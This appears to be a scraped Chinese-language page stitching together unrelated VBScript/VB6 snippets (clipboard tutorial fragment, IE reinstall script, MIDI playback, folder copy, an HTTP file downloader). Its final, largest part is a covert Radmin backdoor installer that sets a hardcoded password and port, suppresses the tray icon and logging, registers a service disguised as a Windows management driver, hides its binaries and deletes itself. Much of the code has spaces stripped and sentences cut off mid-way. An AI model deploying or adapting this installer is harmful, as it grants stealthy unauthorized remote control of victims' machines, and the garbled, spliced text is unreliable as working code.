但有一点要注意的是,在UnloadForm1之前一定要先UnloadForm2
Set Wshell=WScript.CreateObject("WScript.Shell")
If MsgBox("到我空间转转?顺便挖金
示例 1:
这就是说,如果使用看起来象是数字的数据,则VBScript会假定其为数字并以适用于数字的方式处理
on error resume next
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2
下面以具体例子说明如何用SendMessage实现“剪切”、“复制”、“粘贴”、“撤消”和“删除”功能:
在窗体中放置一个文本框Text1和五个按钮,分别执行以上五种功能,编写以下程序
'run_ie_reinstall.vbs - Runs the Internet Explorer Setup
'?Doug Knox - 4/10/2002
'Downloaded from
X=MsgBox("Do you want to reinstall Internet Explorer?", vbYesNo, "Prompt!")
Y=MsgBox("Do you want to reinstall Outlook Express?", vbYesNo, "Prompt!")
Set WshShell=WScript.CreateObject("WScript.Shell")
If X=6 Then
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\IsInstalled", 0, "REG_DWORD"
End If
If Y=6 Then
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}\IsInstalled", 0, "REG_DWORD"
End If
If X=6 OR Y=6 Then
WshShell.Run ("rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %windir%\Inf\ie.inf")
Else
MsgBox "You chose not to reinstall IE or OE. No changes were made." & vbCR & vbCR & "Copyright 2003 - Doug Knox",vbOkOnly, "User Cancelled"
End If
源代码:
PrivateSubCommand1_Click()
Dimback
back=mciSendString&("CLOSENN",0,0,0)
EndSub
PrivateSubCommand2_Click()
Dimback
back=mciSendString&("OPEN" App.Path "\TEST.mid" "TYPESEQUENCERALIASNN",0&,0,0)
back=mciSendString&("PLAYNNFROM0",0&,0,0)
R=mciSendString&("CLOSEANIMATION",0&,0,0)
EndSub
PrivateSubForm_Load()
Dimback
back=mciSendString&("OPEN" App.Path "\TEST.mid" "TYPEWaveAudioALIASNN",0&,0,0)
back=mciSendString&("PLAYNNFROM0",0&,0,0)
R=mciSendString&("CLOSEANIMATION",0&,0,0)
EndSub->
objs="c:\aaa\*"'支持UNC路径
objd="d:\aaa"
'请自行修改上面两个路径
Setobjshell=CreateObject("Scripting.FileSystemObject")
objshell.CopyFolder(Objs,objD)'当文件存在时默认进行覆盖操作费变态声明完毕我们就能在程序中使用此API函数了
onerrorresumenext
constHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetStdOut=WScript.StdOut
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_
strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\RAdmin"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath
SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")
strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)
uBinary=Array(1,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)
uBinary=Array(0,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)
uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码
uBinary=Array(5,4,0,0)//端口:1029
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)
uBinary=Array(10,0,0,0)
Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"
strValueName="LogFilePath"
strValue="c:\logfile.txt"
setwshshell=createobject("wscript.shell")
a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0)
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp"
strValueName="Description"
strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers."
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName="DisplayName"
strValue="WindowsManagementInstrumentationPlayerDrivers"
oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strValueName="ImagePath"
strValue="c:\windows\system32\Exporer.exe/service"
oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
setwshshell=createobject("wscript.shell")
a=wshshell.run("netstartWinManageHelp",0)
b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0)
c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0)
d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除
。